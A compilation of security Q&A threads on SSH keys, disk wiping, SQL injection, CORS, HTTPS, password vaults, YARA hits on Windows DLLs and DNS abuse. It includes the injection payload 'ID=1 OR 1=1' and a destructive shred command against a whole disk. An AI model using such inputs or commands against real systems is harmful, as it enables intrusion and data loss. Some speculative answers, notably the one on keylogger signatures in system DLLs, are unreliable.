How to create same ssh key pair on different systesm at different times Was going through the SSH key pair generation and did tried with the few systems i have. refer to the below command and the thumbprint value post key pair generation.
$ ssh-keygen.exe -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/c/Users/user/.ssh/id_rsa): ./temp
./temp already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./temp.
Your public key has been saved in ./temp.pub.
The key fingerprint is:
SHA256:E5wTTU48K+MPU5TUhBB62L/tYGfpWrb4KysfVrPajhs user@localhost
The key's randomart image is:
+---[RSA 3072]----+
|        +B+=.    |
|       = =B .    |
|      o B..o     |
|       .o+o      |
|       .S+. o    |
|        +. + +   |
|         +E O    |
|        .oo/ .   |
|         oOBO.   |
+----[SHA256]-----+

Is it possible to generate same ssh key pair on multiple systems?
If yes how can same key pairs can be generated.?
what are other parameters ssh-keygen uses which are specific to that system.?

Is it possible to generate same ssh key pair on multiple systems?

No. That would not be secure. The key pair should be unique, and are made in a fashion that attempts to ensure this. As no communication happens during generation, no hard guarantee can be made, but they can be big enough that the chance of a collission is essentially zero.
To have the same keys multiple places, copy them. They are plain text files, which can be copied. But a better alternative would probably be to generate one key pair per system, and all desired public keys to the hosts you connect to. That way, you can revoke a single key pair if you loose control of it's private key.


NFC Security for Payment During an offline transaction, the Point-of-Sale has no internet connection,
and so the payment terminal cannot verify if the client’s payment
device has been revoked.

A malicious person can use a revoked bank card to perform unauthorized
transactions.

How can this be prevented?

If the transaction is truly offline, also called store and forward in the retail space, then there is a lot of inherent risk the business is accepting. That is why almost all in person transactions involve an online authorization, which contacts the issuing bank to verify the transaction details.

I am not aware of any way to mitigate that risk in a true offline transaction scenario.


List of CVE resolved in OpenJDK build What is the list of the CVE resolved in OpenJDK build that published in https://github.com/ojdkbuild/ojdkbuild/releases?

For example in this build:
https://github.com/ojdkbuild/ojdkbuild/releases/tag/1.8.0.151-1

Alternatively, can I assume that OpenJDK build always includes the same CVE list as the RedHat OpenJDK build
https://www.redhat.com/archives/rhsa-announce/2017-October/msg00031.html?

ojdkbuild maintainer here, to get the list of CVEs from downloads page you need to follow announcement link that contains some details on release and usually links to Oracle Java SE Risk Matrix.

Yes, you can assume, that ojdkbuild OpenJDK builds includes the same CVE list as RHEL OpenJDK builds.

Generally Oracle CPU list linked above is exactly the same as the one in RHSA link you posted. There may be nuances, for example if RHEL (and as a consequence - ojdkbuild) do not use the version of third-party library (like libjpeg) that is vulnerable.

Please note, that this covers only OpenJDK itself, WebStart and OpenJFX (that are not parts of OpenJDK) are handled separately.

You can also use issues lists from aarch64-port maillist (aarch64-jdk8u is a base for RHEL builds for all arches) and from corresponding IcedTea 8 release notes for cross-checking.


How do I list IP addresses a system is connecting to from its memory dump or OS image (obtained from FTK Imager)? I'm looking for a tool that will enumerate the IP addresses that a system is connecting to. This is mainly for forensic purposes, to gather IOCs. I know we can run a netstat on windows, but would like something that is comprehensive and reports all processes (hidden, system, etc.)

In Linux you can use netstat -ptan and if you don't have netstat you can use ss -neopa
and if you are connected to a server trough a proxy you will not see the ip address of that server is connected to which process.


Is there a benefit to using a different email for every online account? I have a domain email address which in addition to being able to create multiple mail accounts allows the creation of aliases for each inbox.

Is there any benefit to security in using a different email alias for every website/service I have an account/will make an account for in the future? Specifically from the angle of data breaches?

My thought is that if a breach happens and accounts are compromised, in addition to changing the password I can simply nuke the alias and create a new one and switch the account email to that.

Indeed I do this quite often.

GMail has a feature where you can do this using the '+' sign. According to Google:

  Append a plus ("+") sign and any combination of words or numbers after your email address. For example, if your name was hikingfan@gmail.com, you could send mail to hikingfan+friends@gmail.com or hikingfan+mailinglists@gmail.com.

The benefits are around 2-fold (at least to me):

It makes credential stuffing much harder, as emails for one account won't match another. Although unique passwords is the best solution for this, different emails is an additional layer of security.
If I get spam emails that originated from a breach -- at least I know where that email came from, and know which breaches affected me.

And because Google makes this so easy (I do not have to create any aliases, it automatically happens), I do this for every accout that requests my email.


How to make data in hard disk unrecoverable on linux I need to wipe completely the data on my hard disk so it's unrecoverable.

I'm actually using Linux, i have seen this command on the web, but I don't know if its secure.

shred -zvn 35 /dev/sdb

Be careful with the word "unrecoverable".
It depends what level of "unrecoverable" you are going for. If you want to stop a casual computer user from reading your data from a live-boot OS, then things like shred, dd, dban will do the trick.
If, however, you are worried about someone flashing the firmware of your drive, or removing the platters and putting them into a specialized data recovery machine, then software alone will not cut it. The only 100% reliable way to "make data in hard disk unrecoverable" is this:

The main reasons for this is are 1) because of disk firmware declaring a bad sector and leaving data on the disk, flagged as inaccessible. I have heard rumours that malicious HDD firmware has been know to search for sensitive-looking data on disk, and flag it as "corrupt" for future recovery by an analyst. And 2) wear leveling on SSD / flash memory drives, where the disk firmware will spread writes around the physical disk in order to prolong the lifetime of each individual sector. I have heard rumours that SSD drives ship with between 25% and 100% extra hidden space (depending on how expensive the drive was) for use by the bad sector / wear leveling algorithms. Both of these hard drive "features" mean that even if the operating system believes it has overwritten 100% of the drive volume, there may be extra copies of your data lurking in hidden areas.
For these reasons, software by itself it not enough to ensure proper erasure, you need some hardware support. Some newer (S)ATA drives provide a Secure Erase command which will reset all sectors (from Wikipedia):

"Secure erase" is a utility built into modern ATA hard drives that overwrites all data on a disk, including remapped (error) sectors.

If your hard drive supports this, and the software you use takes advantage of it, then this is probably reasonably good. However, it's not clear that all disk manufacturers implement this / implement this properly (esp. on SSD's which cut corners to prolong life).
Bottom Line:
On traditional magnetic drives, secure erasure software will probably erase your data properly, but without doing some research into your specific hard drive model, you can't be 100% sure. With SSD / flash / hybrid drives things are even less reliable due to their use of wear leveling. If you want to be properly tin-foil-hatty, then you should distrust any drive - unless you installed the firmware yourself - and either physically shred it. Additionally, using full disk encryption adds another layer of protection, but needs to be enabled from the start.
Related Security.SE Questions:
Secure cleaning of deleted files
How can I reliably erase all information on a hard drive?
Safely remove original file after encryption


SQL Injection on double table If an SQL Injection on the address bar (like ?ID=1) affects two tables (SELECT *FROM catalogue WHERE... and SELECT *FROM reviews WHERE...) with a different amount of columns, how could a hacker inject their SQL (edit: i.e. see all tables)? For example, 'UNIONing' a value from dual to the queried result.

Table 1 (?ID=[row]):

mp3s || COL1 | COL2 | COL3  ... COL5    <-- 5 columns
-----++------+------+------
-----++------+------+------
mp31 || ...  | ...  | ...
-----++------+------+------
mp32 || ...  | ...  | ...
  :
  '
mp39

Table 2 (?ID=[row]):

revs || COL1 | COL2 | COL3  ... COL19   <-- 19 columns
-----++------+------+------
-----++------+------+------
r001 || ...  | ...  | ...
-----++------+------+------
r002 || ...  | ...  | ...
  :
  '
r185

If it is truly being used for two queries and those queries are selecting a different number of columns there is no UNION SQL Injection attack that will work for both.  It's not possible to select two different number of columns at once.

It may be possible to perform other types of SQL Injection attacks like:

ID=1 OR 1=1

but you will need to experiment to see if that is possible in your particular situation.


MacOS Firewall Needed or Unnecessary? Coming from Windows to macOS, I was surprised that the firewall was off by default. I immediately turned this feature on. Would this be necessary? Are there some cons to having the firewall on that I am not aware of hence why Apple turned it off?

It's generally unnecessary. If you grew up in the days of Windows 2K or XP, you're probably thinking of a firewall as something necessary to protect the vulnerable innards of the OS from various malefactors on the Internet, but macOS (and modern versions of Windows) just don't expose their innards in the first place. Turning on the firewall sort-of adds a layer of protection, but it's protecting exactly zero exposed services, so it's kind of irrelevant.
Ok, I'm oversimplifying a bit. There are some services that macOS exposes by default, but they're things that're kind of needed for local network operation, like service discovery and name lookup (both Apple's preferred Bonjour/mDNS, and Windowsey NBNS), so the firewall lets them through anyway. If you click Firewall Options, it has an option to "Block all incoming connections" ... "except those required for basic Internet services, such as DHCP, Bonjour, and IPSec."
What the macOS firewall really does is give you a layer of administrative control over which programs are allowed to provide (/expose) services on your Mac. My favorite example is old versions of MS Office programs that opened ports so they could communicate with other instances on the local net to look for duplicate serial numbers. It doesn't tell you it's going to do this, or (of course) allow you to turn it off, and who knows how secure it is. But with the firewall on, that will ask if you want to allow it, and if you don't, the firewall will block incoming connections to that software.
So the real point is: do you trust the software you're running? Do you trust the software your kids are running? If not, the firewall is for you. However, the default is to trust anything built in (e.g. services turned on in the Services preference pane) and signed programs (enh...). Take a look at that Firewall Options dialog, and change anything you don't like.
BTW, in my experience the "Stealth mode" option mostly makes network troubleshooting harder, but if you aren't into network troubleshooting you might be ok with that.
BTW2, one thing the built-in firewall doesn't do is filter outgoing connections. If you want control over which programs are allowed to connect out, look at third-party options like Little Snitch and LuLu.


Why can't we do MiTM attacks when using secure connection I have this silly question that is bothering me. When not using secure connection (HTTP for example) cookies can be intercepted and used to connect to the site as if we have the id and password. We can protect against this by using secure connection (https). This assures that the cookies sent to the server are encrypted.

My question is: why can't an attacker use the encrypted cookies? Could an attacker intercept these cookies and send them to the server?

Because you can't spot the cookies, and even if you could, you couldn't re-use them.

An actual HTTP request looks something like this, and the whole thing is encrypted:

GET /wiki/Main_Page HTTP/1.1
Host: en.wikipedia.org
Accept: text/html,application/xhtml+xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1284.49
Referer: http://en.wikipedia.org/wiki/Main_Page
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: centralnotice_bucket=0-4.2; uls-previous-languages=%5B%22en%22%5D
Connection: keep-alive

Note that the cookie is mixed in with a whole bunch of other stuff.  You can't grab an encrypted cookie because you can't find it (it's surrounded by stuff that varies from browser to browser and even request to request).  Even if you could find it, SSL includes measures to prevent an attacker from re-sending a request (a replay attack), and it includes a message authentication code (MAC) to prevent an attacker from slicing up a request and only using part of it.

Further, SSL uses a different encryption key for each connection.  Even if you could grab the encrypted cookies and bypass the MAC, you'd find they were encrypted with the wrong key for you to use them.


How effective have statistical methods been at breaking encryption? If we look at how statistical engines run on-line translators, and how they are built, we see that they look at a new language and run a statistical model over it searching for what's probably the correct translation for, lets say, Russian to English.

Granted, encryption isn't exactly a translation (which might be akin to obfuscation) as it is a modeled way to "scramble" data and take the "descramble"-code with it. However, when you look at the ability of these engines to build models for many languages, one could see how each language starts to look like an undiscovered key and cipher to the statistical model.

Are there any known attacks that try to use statistical models in this way to break encryption? Are they effective? What are their short-comings?

Short version:

Yes, you're describing a known-ciphertext attack or statistical analysis
They are effective on old or deficient cryptosystems, and can be considered a standard and basic test kit for new cryptosystems
Their shortcomings are that modern cryptosystems are designed to thwart that particular attack, and the theory and practice of doing so is reasonably well understood at this time

Meandering version:

Language translation is dealing with a one-to-one or one-to-few transliteration, with rearrangements.  Each language has a finite dictionary with clear correlations, and each language has rules which define the structure into which words are put.  A translation engine relies upon these correlations.

This is totally dissimilar from encryption, where the goal is to mathematically break all such connections between cleartext and ciphertext.  What you describe worked well with WWII-era cryptosystems, but not today.  To quote Wikipedia (always dangerous, I know) "Every modern cipher attempts to provide protection against ciphertext-only attacks. The vetting process for a new cipher design standard usually takes many years and includes exhaustive testing of large quantities of ciphertext for any statistical departure from random noise.

This is not to say that statistical analysis isn't used, or that it can't succeed.  For example, some of the weaknesses in WEP enable statistical attacks to recover the plaintexts.  However, when it succeeds it's generally treated as a case where the encryption designer did something stupid rather than a cutting edge attack technique.

Edit - To reinforce that last sentence, let me quote from the conclusions of the WEP paper linked above: "[WEP]'s problems are a result of misunderstanding of some cryptographic primitives and therefore combining them in insecure ways."  Heh.


Criteria for Evaluating Static Analysis Tools As with any tools purchase part of the outcome is in how good the evaluation criteria are, so it is important to understand the criteria people might use when assessing Security static analysis tools.

Obviously the weighting on each criterion would be down to the individual companies priorities but the list could be reasonably generic.

Some criteria which might apply are :-

Cost. A couple of components for this would be software licenses (up front and annual), hardware costs for running the software (assuming it's not SAAS)
Scaling. Ability for the tool to scale to larger environments.  Specific points might be around sharing data between developers, integration with bug tracking and source code control systems...
Capability.  Language coverage, false positive/negative rates.
Customization.  A key area for this kind of software is ability to customize to the specific codebase that is being evaluated (eg, to take account of bespoke input validation libraries), also ability to customize reports and other outputs.

Here are the things on my list, that I use for my clients (including some of those that you've mentioned):

Coverage (according to what the org requires today, and expects to use in the future)

Language
Architecture (e.g. some tools are great for web apps, but not so much for rich clients or even Windows Services / daemons)
Framework (e.g. support for ASP.NET but not MVC, or Java but not Spring)
Standard Libraries (e.g. recognizing Hibernate, log4j, or AntiXSS, to name a few problematic ones) as are needed

Scan performance. In this I include both:

Speed
Scalability to large codebases (including LoC, subsystems/projects, and external references)

Completeness - i.e. rules/scripts included in the scan, enough to provide confidence in the output, or in other words to minimize false negatives.

Note that this is both the list of provided rules (e.g. checks for "SQL Injection");
AND the quality of those checks, i.e. actually catch SQL Injections. (As an example, a certain leader in the field, which shall remain nameless, can be easily confused by many forms of codeflow, thus missing basic injection flaws.)

Accuracy of results. This applies to the results which ARE reported (as opposed to those missing, covered in "Completeness"). Poor accuracy can be seen in:

High numbers of false positives
Duplicates
Miscategorizations
Misprioritizations (e.g. labeling a very low impact bug as "High Risk")
Irrelevant results (i.e. a code flaw which is accurate, but completely irrelevant to the application or architecture; e.g. finding XSS in a non-HTML, non-HTTP, and non-interactive app, or SQL Injection on a client application).

Customizability - as you said, customizing sources, sinks, and filters; also reports; but also, no less so, customizing rules/scripts and adding custom logic (not just source->filter->sink). Note that many tools allow you to "customize" their rules, but this is really limited only to adding source/sink/filters.
Sustainability / repeatability - by this I refer to handling of repeat scans. How does it handle changes? Issues previously marked as false positives? Do I get comparisons?
Deployment model, e.g. usually combination of:

single auditor station
shared server, accessed via remote
web access
developer plugin
build server pluggability
(and of course ability to set a different policy for each)

Usability. This includes:

UI (including hotkeys etc)
auditor filtering capabilities
providing enough context via highlighting enough of the codeflow
static text, such as explanations, descriptions, remediation, links to external sources, Ids in OWASP/CWE, etc.
additional user features - e.g. can I add in a manual result (not found by automatic scan)?

Reporting - both flexible per project as needed (dont forget detailed for devs and high-level for managers), and aggregated cross-project. Also comparisons, etc etc.
Security (in the case of a server-model) - protecting the data, permissions management, etc. (much like any server app...)
Cost. This includes at least:

hardware
license - any or all of the following:

per seat - auditor
per seat - developer
per seat - reports user
per server
per project
per lines of code
site license

maintenance
services - e.g. deployment, tuning, custom integration, etc
training (both the trainer, and the auditor/developers' time)

Integration with :

source control
bug tracker
development environment (IDE)
build server / CI / CD
automation

Looking over this, I think it's pretty much in the order of preference - starting from basic requirements, to applicability, to quality, to ease of deployment, to efficiency, to nice-to-have...


Should Access-Control-Allow-Origin need to be domain specific Infosec has recommended us to use this header :

Access-Control-Allow-Origin:http://domainA.mycompany.com,http://*.mycompany.com

But I also own domain : http://domainB.mycompany.com

So, if i just use

Access-Control-Allow-Origin:http://*.mycompany.com

Will this be enough ? or it needs to be domain specific ?

Your server side code should read the Origin request header and if it pattern matches one of your domains (http://*.mycompany.com) then you can return Access-Control-Allow-Origin: <domain> where <domain> is the actual Origin given in the request.

So if your request header is

Origin: http://foo.mycompany.com

this will match http://*.mycompany.com

so you set

Access-Control-Allow-Origin: http://foo.mycompany.com

for this response.


Found KeyLogger in Windows 10 OS? I was Running Yara, The pattern matching swiss knife for malware researchers on the Windows 10.

I ran a scan using rules from Yara Rules from YARA Rules Github and MalwareConfig rules.

I stumbled upon these DLL that had Signatures that matched escalate privileges, and Keyloggers.

avicap32.dll
mscorlib.dll
AcGenerl.dll
accessibilitycpl.dll
adalsql.dll
AtBroker.exe
etc

To me it makes sense AcGenerl.dll has a keylogger signatures because it handles keyboard but MsCorlib.dll? it doesn't make sense why it has these signatures.

Any Explanations of why some of these Windows DLL raise flags? (not Intrested why my rules picked up but specifically the programs and libraries)

[Edit] Virus Total also says that these files are not infected by malware or a rootkit.

Could some of these be backdoors?

avicap32.dll is a system process, and uses Windows API to capture AVI
formatted content.
mscorlib.dll is Multi-language (Microsoft) Standard
Common Object Runtime Library.
AcGenral.dll is the Windows Compatibility DLL, might be logging information to see if everything went well. I'm not sure about this one.
accessibilitycpl.dll is the ease of access control panel. Possible that ease of access needs special permissions in order to work proper, logging of keys could be one.
adalsql.dll is Active Directory Authentication Library for SQL Server. An authentication service does handle keyboard stuff and has to log them.
AtBroker.exe appears to be Transitions Accessible technologies
between desktops. According to fixoserror.com.

It appears to be almost all of these are handling keyboard actions. About, mscorlib.dll it also appears to be used during creation of keyloggers. On turkhackteam.org there's a keylogger thread and debug results provides a mscorlib file. Also about mscorlib this StackOverflow link may give you some great ideas.


Server get flooded by Avast Secure DNS My server is getting flooded by Avast Secure DNS. This was generating high I/O while writing lots of entries in daemon.log and syslog files. Thank to fail2ban, I was able to ban those IP and get the server back to normal.

I come here to ask for some details about this since I'm Linux learner. The server is running on Debian Wheezy.

Here is a sample of daemon.log file :

Jan 27 20:47:43 server named[xxxx]: client 37.110.213.97#51810: query (cache) '2.SecureDNS.AVASt.CoM/TXT/IN' denied
Jan 27 20:47:49 server named[xxxx]: client 154.0.26.150#38513: query (cache) '2.SECUredNs.Avast.cOM/TXT/IN' denied
Jan 27 20:47:50 server named[xxxx]: client 154.0.26.150#33704: query (cache) '2.sEcurEDns.avasT.COm/TXT/IN' denied
Jan 27 20:47:54 server named[xxxx]: client 154.0.26.150#50798: query (cache) '2.sEcUreDns.avasT.com/TXT/IN' denied
Jan 27 20:48:06 server named[xxxx]: client 201.79.137.74#54727: query (cache) '2.SeCuREDnS.AvAST.CoM/TXT/IN' denied
Jan 27 20:48:07 server named[xxxx]: client 201.79.137.74#54735: query (cache) '2.secuReDNs.avaSt.cOM/TXT/IN' denied
Jan 27 20:48:11 server named[xxxx]: client 201.79.100.41#54754: query (cache) '2.SeCUrEDNS.AVAsT.COM/TXT/IN' denied
Jan 27 20:48:12 server named[xxxx]: client 77.147.247.52#62948: query (cache) '2.SecUREdns.AvAsT.COM/TXT/IN' denied

Is that what they call DDos attack ?
Why this come from Avast Secure DNS ?
What's the best solution to handle this ?
When will this stop ?
How can I know where this attack come from ?

It's unlikely that this is coming from avast secure DNS.  More likely, you're running an open DNS resolver and an attacker with a botnet is trying to DDoS Avast SecureDNS by using open resolvers to direct traffic to Avast.


Is the Offline Root CA Obsolete? There are countless “how-to” articles and best practices recommending use of an offline root certificate authority (CA). Though as the title suggests, is this recommendation obsolete?

The context of my question is for small to medium enterprises. NOT large enterprises (or otherwise) with multiple tiers of subordinate CAs.

Revoking a Root CA Certificate, as discussed in previous posts, is a difficult process. It can only be achieved via:

software updates
scripts
configuration management systems
adhoc

The premise of an offline root CA (metaphorically speaking) is to have it on a laptop where it is only brought online to approve a subordinate CA. Otherwise it resides in the highest physical security possible. Should a subordinate CA become compromised, not all is lost since the offline root CA is fine. However the far majority don't include a CRL Distribution Point (CDP) making it impossible to determine what certificates have been revoked. Thus making revocation of an immediate subordinate CA similar to that of a root CA revocation. Nothing was gained by having an offline root CA in the first place.

The alternative is to publish a CDP which seems to make the most sense but no longer allows the root CA to be offline. If the CDP is updated once a month, the worst case scenario is clients will not identify a revoked certificate for an entire month. Meanwhile the administration of this requires staff to boot-up the system and update the CDP monthly. Lengthening this windows (+1 month) only creates a larger window where clients would trust a revoked certificate while shortening this window makes it clear that the system should remain online due to the administrative overhead.

Based on this, it seems offline root CAs should only be used in very large enterprises with multiple tiers of subordinate CAs. Though these are minimal since often they already have a certificate infrastructure and should be considered the exception where offline root CAs are used. The far majority of new rollouts are in the small to medium size networks where the root CA should remain online so it can frequently publish to the CDP. Thus leading me back to my question, is the offline root CA obsolete?

I think we need to consider here definitions of the word "offline".

As you suggest, the following are conflicting requirements:

Have the Root CA be powered off except when issuing / revoking a Subordinate CA cert.
Have the Root CA issue frequent CRLs.

The solution I see deployed most often is to do "soft air-gapping" or "soft offline" through firewalls so that the Root CA can still push new CRLs daily or hourly to be picked up and re-published by the CDP or OSCP responders. Block all other traffic to / from the Root CA machine.

I have even heard of one clever solution where the Root CA pushes CRL data over its audio line-out jack, which is a one-way port at the hardware level.


How would you test a new, individual SSL certificate (i.e., not a wildcard) is working properly? I am running a web server in AWS and recently purchased an SSL cert to encrypt traffic, let's say for example.com. Since example.com is running in production, how would I actually test the cert is working properly? I cannot test it with staging.example.com because it's not a wildcard cert. I don't want to just install it in case something goes wrong -- I'd like to test first.

The only thing I could come up with is creating a new VPC, spinning up a new server and creating a privately hosted DNS. I could point example.com to the private IP of the server in the internal DNS zone to see if everything loads correctly. This seems like a lot of work to test an SSL cert. Am I missing something? There has to be an easier way?

One way to do it is to spoof your DNS request on the computer you are testing from.

Each web-browser asks for domain name resolution when trying to access prod.example.com. On Linux you can specifically match prod.example.com to your staging computer IP address in the /etc/hosts file. On Windows, you should look for the same file but in c:\Windows\System32\drivers\etc. When you have the right instruction in there, any call to prod.example.com will direct to the staging computer instead.

Now all you have to do is configure the web-server on the staging computer with a virtual host that matches prod.example.com with the SSL/TLS certificates directives and you should be able to test it properly.


My personal phone sent a text message that I did not send In an SMS conversation, my friend received a text message within our SMS thread that was clearly not sent from me, and that did not appear in my SMS thread. They took a screenshot and it is in Chinese characters.

Could this only be a SMS spoof, or could it be worse like a SIM Swap Attack?

If you still have service to your phone, it's unlikely to be a SIM swap attack. Generally, one of the consequences of a SIM swap is that all the services provisioned on your phone (including your phone number) are transferred to the attacker's phone, by the exact same process as those services would be transferred to your new phone when you upgrade. This is the whole point of a SIM swap, because the attacker is trying to intercept any calls or texts which are generated by a multifactor authentication (MFA) scheme to use to impersonate you to that service. More at https://en.wikipedia.org/wiki/SIM_swap_scam.

It's possible, but highly unlikely (unless you are a high-value target of a nation-state-level threat -- and you would know if that were the case), that your SIM could be cloned rather than swapped. Cloning is illegal in the US, and in any case is detectable by carriers who have an incentive to stop such arrangements because they can be used for billing fraud. More at https://en.wikipedia.org/wiki/Phone_cloning.

All of this means that it is likely that it was simply a spoof.


Can I get malware plugging iPhone into portable charger? Received promotional charger from American Express to use without an outlet, should I be concerned that it will put malware on my iPhone? I'm 100% safe if I charge while my phone is powered down right?

There are articles warning against using public charging stations because there is a trust given to physically connected systems on the iPhone. So yes, the risk is not zero.

The question I'd ask myself in this specific case though is "Would a charger from a reputable org by likely to contain such an exploit system?"

I'd personally wager the odds are low and would be OK using such a charger on a personal phone, but if this were a work device with access to sensitive information I'd probably be more careful.

You could also keep your ear to the ground, so to speak, for a period of time and see if any reports come up regarding these chargers resulting in exploits, and if you haven't heard any such within a few months, the odds are even better.


Would the CORS specification consider a missing Content-Type header to imply a "simple header"? RFC 7231, Section 3.1.1.5 states:

  A sender that generates a message containing a payload body SHOULD
  generate a Content-Type header field in that message unless the
  intended media type of the enclosed representation is unknown to the
  sender.  If a Content-Type header field is not present, the recipient
  MAY either assume a media type of application/octet-stream
  ([RFC2046], Section 4.5.1) or examine the data to determine its type.

The CORS recommendation states:

  A header is said to be a simple header if the header field name is an
  ASCII case-insensitive match for Accept, Accept-Language, or
  Content-Language or if it is an ASCII case-insensitive match for
  Content-Type and the header field value media type (excluding
  parameters) is an ASCII case-insensitive match for
  application/x-www-form-urlencoded, multipart/form-data, or text/plain.

This seems to create a non-specified case for CORS implementations on POST, because using application/octet-stream forces the non-simple header case, and 'examining the data to determine its type' is not trivial.

What is the most reasonable thing to do in the following cases?

Content-Length of request is 0. (I'd like to assume Content-Type: text/plain to enable the simple header case.)
Content-Length is non-zero. (Default to application/octet-stream and force non-simple header case?)

In order to address a comment relating to whether CORS is a security measure or just a model for resource sharing, I'm adding some additional information regarding the implications of these edge cases. Yes, CORS is certainly a model for resource sharing. However, resource sharing worked just fine without CORS, until HTTP clients added security measures to explicitly prevent cross-origin resource retrieval. If implemented improperly, the server-side component of CORS can re-open some of those security holes by improperly sharing resources, especially where credentials are involved. These edge cases are paths that (depending on the answer to the above questions) lead directly to the section on whether to allow cross-origin requests for resources with credentials.

Determining what constitutes a simple header vs. a non-simple header in the above edge cases affects whether some requests are considered simple requests or not, which in turn brings Part 4: Security Considerations into effect:

  A simple cross-origin request has been defined as congruent with those
  which may be generated by currently deployed user agents that do not
  conform to this specification. Simple cross-origin requests generated
  outside this specification (such as cross-origin form submissions
  using GET or POST or cross-origin GET requests resulting from script
  elements) typically include user credentials, so resources conforming
  to this specification must always be prepared to expect simple
  cross-origin requests with credentials.

  Because of this, resources for which simple requests have significance
  other than retrieval must protect themselves from Cross-Site Request
  Forgery (CSRF) by requiring the inclusion of an unguessable token in
  the explicitly provided content of the request.

The main idea behind the content-type restriction is that XMLHttpRequest with CORS  should not weaken the default security compared to what already can be done within the traditional security model. The traditional security model allowed the following cross-origin requests:

Simple GET requests created by the browser. That is no payload and thus also no Content-type header.
POST requests created by submitting forms. These have a payload but the Content-type (attribute enctype) could only be application/x-www-form-urlencoded, multipart/form-data or text/plain.

Anything outside of what could be done with such simple requests and form submissions must be handled more strict by default so that no new attack vector gets created. This includes any kind of custom header and any setting for content-type which are not sent by the browser by its own.


How to decrypt password manager vault without the password manager client? I've started looking into password managers these days and have come to trust the general concept. They provide convenience and very good general security if used right.

However there is one point of concern that remains:

What happens if my password manager service fails i.e. both the servers and the client (or browser plugin) are suddeny disfunctional. The password plugin cannot be used anymore. I cannot access my passwords via the web interface of the manager service. The built-in export functions of the manager is not available (client corrupted).  Let's imagine e.g. a hacker attack that compromised both server and client side functionality. One could also imagine that a corrupt gouvernment obliges a password manager to shut down their service.
As a security oriented user I have of course used randomized strong passwords everywhere and only personally know my master password. In this scenario I have now lost access to all my credentials. How could I recover my login data to all the hundreds of websites that is stored in the vault? Of course, we would hope that the service I use would recover "quickly" but then, I might still need urgent acces to some elements in the vault.

To me what would be needed is an external program that is capable of decrypting the locally stored vault, when provided with the master password. Since the encryption algorithm used by a service is usually known, this should theoretically be possible.

Thank you all in advance for your insights.

Some edits in response to the discussion:
Edit 1: I have settled for the popular solution LastPass. If you have concrete answers concerning LastPass they are of course welcome, but I intentionally formulated the question non-specific, because I couldn't find much on this topic and it seemed really a "general problem" to me.

Edit 2: Manual vault exports + manual encryption. This is exactly the workaround that I use now: All in all the concern I formulated was not strong enough to discourage me from switching to tool - based password management, especially with this rather viable workaround available. Of course it would still be nice if a manager did this automatically.

Edit 3:  Backup a working client version - LastPass is not ideal with respect to this issue, since there is no standalone app (or I was to stupid to find it). That makes it already more complicated to always have a backup of a working client version on my pc, because it is all browser plugin based. Otherwise this is a viable solution as well. - actually it is preferable because I would always be able to access the latest version of my vault.
Edit 3.1 - so actually I was to stupid to find it - or rather the LastPass website is not very clear about it. The installer that is described as follows:
"LastPass Universal Windows Installer

The Universal Windows installer installs browser extensions for Internet Explorer, Edge, Chrome, Firefox, and Opera."
also contains a native app.

Edit 4 : Password recovery without access to the vault - Yes and no. First of all it is tedious. Secondly it doesn't work if the credentials for my recovery mail are also stored in the vault.

The answer will be different for different password managers, but your question is extremely important.

Many password managers (including the one I work for) store your encrypted data locally on your machines for the non-browser clients. We explicitly encourage people to use a native client so that you can use your data off-line (among other reasons).

The scenario in which the service becomes unavailable will still leave you with working native clients which will be able to read your data. I find it hard to imagine a scenario in which you would still have your data but for some reason the native clients would be unavailable. Remember that there will typically be older versions of software "out there" and among your backups. (If you are asking this question, I also trust that you are making good backups of your down systems.)

Specifically for 1Password

I can give you a partial answer with respect to 1Password, for which I work.

Starting with the bad news is that we still don't have a robust and easy to use local data backup/export system that preserves the structure of the data. It is, of course, possible to export you data from 1Password, but it loses a lot of the structure of the data and isn't suitable for automatic backups.

The 1Password local data stored on your system is tuned for particular things about the platform and is subject to change. So, for example, if you took your 1Password.sqlite file used by 1Password for Mac it wouldn't be readable by 1Password for Windows. One from a year ago might not be readable with the current client. We need to have the flexibility to tinker with that data format. This is why an exporter/backup tool is needed instead of a reader directly for that data.

We've documented in great detail how our encryption works, but that documentation doesn't quite cover everything you need to know about the sqlite3 data stored on your machine. Indeed, it is the part that isn't documented that is subject to change.

As the core of it is all the same and conforms to what we've documented, it isn't too hard to reverse engineer the rest. Indeed, people have done so. Free (John the Ripper, hashcat) and commercial data recovery/cracking systems have tools to do exactly this. And we have always tried to assist those doing so when they ask specific questions about the data format.

This is hardly an ideal situation. The plan (though it has been a plan for a while now) is that we will provide a local encrypted backup format that is open and fully documented and which and preserves all of the item detail. This has been 90% done for a long time, but the last 10% has been taking a while.

But in the mean time, you can regularly use the existing export mechanisms and save those in a security location (as export isn't encrypted). Or rely on the fact that your own backups will contain versions of the 1Password app which can read the local data that you also have on your system backups.


What Man-made Physical Threat Could Pose Severe Danger to a Server Farm? I am writing a novel in which a researcher attempts to work against a study he is a part of by purposely sabotaging operations on the research compound. I am wondering if the following is plausible.

"Bob" starts a small fire in the server farm containing the primary servers for data collection in the study. He has "Steve" (unaware of the sabotage) in position to put out the fire so that Bob can perform an emergency back-up of the data to the study's secondary off-site servers in case the fire spreads (the data would otherwise have been backed up at 1 a.m. like any other day). Bob does this because at this point in time he is hoping to make himself look like a hero as to not draw any suspicion for his actions later.

Does that make sense? Would a fire pose a reasonable threat in this environment? Does the premise of needing to perform an emergency data store accurately reflect something that could occur in real life?

I have a little leeway in plausibility as this is set some time in the future, but want it to still be reasonable to readers who are more informed about these matters than me.

If anyone has any suggestions for other possible (but easily resolved) physical threats, I would greatly appreciate those as well.

Thanks for your help!

Most things of importance placed in a data center have a sister installation in a physically separate data center, and if there was a reason to "fail over" from the live to the backup site, it's completely plausible that things like data shipping will occur as part of it.  It also will result in a flurry of manual and semi-automatic administrative activity, which could plausibly allow someone to exploit a toehold in the environment and expand it.

